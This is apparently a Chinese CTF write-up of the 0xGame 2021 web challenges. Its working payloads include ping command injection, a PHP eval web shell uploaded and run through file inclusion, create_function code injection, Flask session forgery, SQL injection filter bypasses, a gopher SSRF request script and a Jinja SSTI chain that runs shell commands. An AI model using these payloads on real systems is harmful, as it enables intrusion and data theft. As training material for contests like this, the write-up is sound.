南邮新生赛

week1

爱ping才会赢

知识点:无过滤的ping命令执行system(‘’)

抓包

127.0.0.1;cat /flag

看看我的头

知识点:xff头、userangent伪造

  1. import base64
  2. import requests
  3. payload={
  4. "X1cT34m":"1",
  5. "Pupi1":"1"
  6. }
  7. head={
  8. "User-Agent": "N1k0la浏览器".encode('utf-8'),
  9. "x-forwarded-for": "127.0.0.1"
  10. }
  11. url='http://159.75.116.195:700/?0xGame2021=welcome to the 0xGame2021'
  12. r=requests.post(url=url,headers=head,data=payload)
  13. print(r.text)
  14. a='JGE9JF9HRVRbJzB4R2FtZTIwMjEnXTskYj0kX1BPU1RbJ1gxY1QzNG0nXTskZD0kX1BPU1RbJ1B1cGkxJ107JGM9J3dlbGNvbWUgdG8gdGhlIDB4R2FtZTIwMjEnO2lmKG1kNSgkYik9PW1kNSgkZCkmJiRhPT09JGMpe2VjaG8gJGZsYWc7fQ=='
  15. a=base64.b64decode(a)
  16. print(a)

你看看你能登录吗

知识点:爆破

抓包

发送到测试模式,狙击手模式,账号为admin,密码为四位,选择暴力,位数为4,线程50,爆破密码后成功登录

week2

一个简单的文件上传

知识点:

php短标签https://www.jianshu.com/p/5ce7020467f2

<?=,它和 <? echo 等价, 从 PHP 5.4.0 起, <?= 总是可用的

源码里面有注释:可以实现任意文件读取,实际上就是文件包含,可以用伪协议读源码

?filename=php://filter/read=convert.base64-encode/resource=index.php

读到两个文件,代码审计发现,上传会检测文件内容是否含有php,最后想到可以用短标签绕过,在结合文件包含可以getshell。

  1. <div class="light"><span class="glow">
  2. <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
  3. 嘿伙计,传个火?!
  4. <input class="input_file" type="file" name="upload_file"/>
  5. <input class="button" type="submit" name="submit" value="upload"/>
  6. </form>
  7. </span><span class="flare"></span><div>
  8. <!--read.php?filename= -->
  9. <?php
  10. error_reporting(0);
  11. //设置上传目录
  12. define("UPLOAD_PATH", "./uplo4d");
  13. $msg = "Upload Success!";
  14. if (isset($_POST['submit'])) {
  15. $temp_file = $_FILES['upload_file']['tmp_name'];
  16. $file_name = $_FILES['upload_file']['name'];
  17. $ext = pathinfo($file_name,PATHINFO_EXTENSION);
  18. if(preg_match("/ph/i", strtolower($ext))){
  19. die("这可不能上传啊!");
  20. }
  21. $content = file_get_contents($temp_file);
  22. if(preg_match("/php/i", $content)){
  23. die("诶,被我发现了吧");
  24. }
  25. $new_file_name = md5($file_name).".".$ext;
  26. $img_path = UPLOAD_PATH . '/' . $new_file_name;
  27. if (move_uploaded_file($temp_file, $img_path)){
  28. $is_upload = true;
  29. } else {
  30. $msg = 'Upload Failed!';
  31. }
  32. echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
  33. }
  34. ?>
  35. <?php
  36. highlight_file(__FILE__);
  37. error_reporting(0);
  38. $a=$_GET["filename"];
  39. if(preg_match('/flag/i',$a)){
  40. exit("nononono");
  41. }
  42. include($a);
  43. ?>

上传一个txt文件<?@eval($_POST['a']);?>,然后用文件包含包含这个txt文件里面的内容就可以被当作代码执行了,

访问read.php?filename=./uplo4d/4717b086fb956e9f44326d55ebdae88d.txt,蚁剑连shell即可。

getshell之后输入 env可以看到flag在环境变量里面。

find_my_secret

知识点:create_function代码注入,hash_hmac函数缺陷

https://blog.51cto.com/lovexm/1743442

hash_hmac 传入数组会返回NULL, $secret_key就可以知道了

算hash的poc

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. $secret_key='123';
  5. if(isset($_POST['N1k0la']))
  6. $secret_key = hash_hmac('sha256', $_POST['N1k0la'], $secret_key);
  7. $payload = hash_hmac('sha256', $_POST['Pupi1'], $secret_key);
  8. echo $payload;

payload:

Poria=1857d775657b27eb33cf2ee35da75f24e414f657e4df5c7190375acfc6a76a5a&Pupi1=return 0;}system('ls');///&N1k0la[]=1&action=%5Ccreate_function

一个简单的登录

知识点:flask session 伪造,session放客户端不安全

基本和下面这题一样:

https://www.cnblogs.com/zaqzzz/p/10243961.html

payload

python3 flask_session_cookie_manager3.py encode -s 'x1ct34myydsytstflglgjhdfhsh' -t '{"name":"admin","uid":"1"}'

之后带着cookie登录即可

Come to Inject me

知识点:万能密码

又是登录框,fuzz下过滤了单引号和空格

猜测后端语句为

select * from users where username='1\' and password='or 2>1'#'

payload

username=1\&password=or(2>1)#

week3

no_way_to_go

代码里有eval('echo '.'Welcome '.$str.';')

可以本地搭建尝试一下,eval函数可以把字符串当作php代码执行,所以我们可以传入;+php语句,从而达到命令执行的效果,最简单的就是system函数,但是有过滤,可以利用scandir函数 — 列出指定路径中的文件和目录,查看当前目录的文件,会以数组形式返回,其中. 表示当前目录,.. 表示上一个目录,因为引号被过滤,使用chr函数所以构造N1k0la=;var_dump(scandir(chr(46)))来打印目录信息,最后使用show_source函数查看fllllll4444444g.php的源码即可,先做一个chr转换

  1. x='fllllll4444444g.php'
  2. a=[]
  3. for i in x:
  4. a.append(f'chr({ord(i)}).')
  5. print(''.join(a))

show_source(chr(102).chr(108).chr(108).chr(108).chr(108).chr(108).chr(108).chr(52).chr(52).chr(52).chr(52).chr(52).chr(52).chr(52).chr(103).chr(46).chr(112).chr(104).chr(112)

BackDoor

这道题想考察thinkphp路由的设置

这是他访问规则:

http://serverName/index.php(或者其他应用入口文件)/模块/控制器/操作/[参数名/参数值...]

下载源码发现index模块有backdoor控制器,可以直接利用

http://159.75.116.195:666/index.php/Index/backdoor?command=cat /flag

flag在tmp目录下,直接搜字符串 grep -r 0xGame /tmp

切记不要直接在号根目录搜

SSRF_Me

https://blog.csdn.net/weixin_45887311/article/details/107327706

非预期:url=FILE:///fla%25%36%37,之前出题人正则表达式无i,大写绕过即可

这题感觉是ctfhub上改编的

没过滤http协议,G0pher协议

先用?url=http://localhost/read.php

读到read.php

  1. <?php
  2. if('127.0.0.1'!=$_SERVER['REMOTE_ADDR']){
  3. die('Allow local only');
  4. }
  5. if('GET' === $_SERVER['REQUEST_METHOD']){//真实ip用ssrf伪造
  6. highlight_file(__FILE__);
  7. die('Invalid request mode');
  8. }
  9. $filename=$_POST['name'];
  10. if(preg_match('/..\//',$filename)){
  11. die('nonono');
  12. }
  13. echo file_get_contents(urldecode($filename));

大概意思就是发送一个post请求然后文件包含输出

利用脚本:

这里注意一下四个头是gopher协议必须的,其中Content-Length长度和你要post数据长度相同 ,这里的name要两次url编码,因为浏览器会有一次解码,服务端代码会有一次

  1. import urllib.parse
  2. payload =\
  3. """
  4. POST /read.php HTTP/1.1
  5. Host: 127.1:80
  6. Content-Length: 50
  7. Content-Type: application/x-www-form-urlencoded
  8. name=%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37
  9. """
  10. tmp = urllib.parse.quote(payload)
  11. new = tmp.replace('%0A','%0D%0A')
  12. result = 'gopher://127.1:80/'+'_'+new
  13. result = urllib.parse.quote(result)
  14. print(result)

输出

  1. gopher%3A//127.1%3A80/_%250D%250APOST%2520/read.php%2520HTTP/1.1%250D%250AHost%253A%2520127.1%253A80%250D%250AContent-Length%253A%252050%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Aname%253D%252525%252532%252566%252525%252536%252536%252525%252536%252563%252525%252536%252531%252525%252536%252537%250D%250A

?url=

稍等片刻就行

Come to inject me(Hard!!

搞不出来,原来是出题人ban多了

username=1&password=or(select%09mid(version(),2,1)<1)#

注出版本号10.6.4 MariaDB

主要禁用了这两个可以查表的库

mysql.innodb_table_stats

information_schema

week4

还没有对象吧,快来new一个python对象

输入{{7*7}}发现对表达式进行了计算,确认ssti注入,fuzz发现过滤了_ . class ,(返回500)
payload:

  1. ?search={{()[''+''+'c'+'l'+'a'+'s'+'s'+''+'']
  2. ['_'+'_'+'base'+'_'+'_']''+''+'sub'+'c'+'l'+'a'+'s'+'s'+'e'+'s'+''+''[127]['_'+'_'+'init'+'_'+'_'][''+''+'globals'+''+'']['popen']('cat flag').read()}}

0xgame web方向题解 - 图1

还没有对象吧,快来new一个php对象

关于phar反序列化可以看这个视频:
https://www.bilibili.com/video/BV1Jh411d7Ta?p=2&share_source=copy_web
pop链:
https://blog.csdn.net/solitudi/article/details/113588692
源码中提示了个look_me.php ,里面可以看到有一条pop链,但是没有反序列化函数但是有file_exists函数
0xgame web方向题解 - 图2
0xgame web方向题解 - 图3
0xgame web方向题解 - 图4
0xgame web方向题解 - 图5
0xgame web方向题解 - 图6
0xgame web方向题解 - 图7

Gie gie,come to inject me

布尔盲注